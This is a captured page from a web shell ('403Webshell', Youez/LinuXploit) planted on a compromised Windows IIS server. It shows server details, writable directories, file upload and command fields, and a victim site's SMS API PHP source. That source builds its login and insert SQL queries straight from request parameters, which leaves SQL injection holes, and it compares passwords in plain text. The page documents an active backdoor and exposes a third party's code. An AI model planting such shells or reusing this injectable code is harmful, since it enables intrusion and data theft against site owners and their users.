403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/247sms.com/wwwroot/adsense/dashboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/247sms.com/wwwroot/adsense/dashboard//247smsapi.php
<?php
//include "general2.php";
include "connect.php";

function generateTransID()
   {
      $today = date("Ymds");
      $rand = strtoupper(substr(uniqid(sha1(time())),0,4));
      $rand = str_replace("A","1",$rand);
      $rand = str_replace("B","2",$rand);
      $rand = str_replace("C","3",$rand);
      $rand = str_replace("D","4",$rand);
      $rand = str_replace("E","5",$rand);
      $rand = str_replace("F","6",$rand);
      $unique = $today . $_SESSION['subtransid'] . $rand;
      return $unique;
}



  function splitarray($str1,$datestr)
   {
      $amt =0;
      $strArr = split("#",$str1);
	  foreach ($strArr as $mystring)
	  {
	 
	     $value = split(",",$mystring);
		// foreach ( $innerstrArr as $value)
		 //{
		   //echo $value . "kings". "<br>";
		   if ($value[0] == $datestr)
		      $amt = $value[1];
		 //}
	  }
	  
      return $amt;
}
 
function removePosion($mstr)
{
      $mstring = str_replace("'","^",$mstr);
      return $mstring;
}

 function sendSMS( $username,$phonenumber, $transid, $domain,$mess,$sender,$mtype)
{
 include "connect.php";
if ($mtype =="1"){
    $username="system";
}

$mess= removePosion($mess);
 $sender= removePosion($sender);
 $cnt ="";
 //$con=mysqli_connect("127.0.0.1","smsEngine","guEnaR28T","smartsmsrouter");
 // Check connection
 //if (mysqli_connect_errno())
   //{
   // echo mysqli_error($con);
   //echo "-1";
  // die();
  // }
   
 $query="insert messagesentsingle(transid,username,phonenumber,message,sender,status,domain,dateused) values ('".$transid."','".$username."','".$phonenumber. "','". $mess. "','". $sender. "','0','". $domain. "','".  date('Y-m-d H:i:s')."')";
  
  
// $query ="select * from userlogin where email='". $memail ."' and domain='". $domain."'";
//echo $query;
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  echo "Database error please try again";
   mysqli_close($con);
   return "-1";
  
}
else
{
$cnt= "0";
mysqli_close($con);
return $cnt;
}

}			



function Checklogin( $musername,$domain,$pass)
{
 $cnt ="";
 include "connect.php";
  $query ="select * from userlogin where username='". $musername ."' and binary pass ='".$pass."' and domain='".$domain."'";
//echo $query;

//exit();

if(!$result= mysqli_query($con,$query))
{
     echo "-4";
     mysqli_close($con);
    die();
}

$cnt= "";
while($row = mysqli_fetch_array($result))
{
	//$cnt = $row['balairtime'];
	$cnt="yes";
}

mysqli_close($con);
return $cnt;
}			


//&&&&&&&&&&&&&&&&&&&&&&&
//&&&&&&&&&&&&&&&&&&&&&&&



 $username = $_REQUEST["username"];
 $pass = $_REQUEST["pass"];
 $sender=$_REQUEST["sender"];   
 $phonenumber= $_REQUEST["receiver"];   
 $mess= $_REQUEST["message"];  
 
 if ( ($username =="") || ($pass =="") || ($sender =="") ||($phonenumber =="") ||($mess =="") ){
   echo "Error: incomplete parameters";  
   die();
 }

 $mtype ="0";
 $domain = "247sms.com"; 
 
 $response = Checklogin( $username,$domain,$pass);
 if($response != "yes" )
 {
    echo "incorrect login";
    die();
 }
 $transID= generateTransID();
 $cnt = count(explode(",", $phonenumber));
 
 
 //echo $transID;
 //echo $username."\n";
// echo $sender."\n";
// echo $phonenumber."\n";
// echo $mess."\n";
 //exit;
 $response = sendSMS( $username,$phonenumber, $transID, $domain,$mess,$sender,$mtype);
 
if ($response =="0")  
 echo "Success". ",". $transID. ",". $cnt;
else
 echo "Error in sending message";
?>

Youez - 2016 - github.com/yon3zu
LinuXploit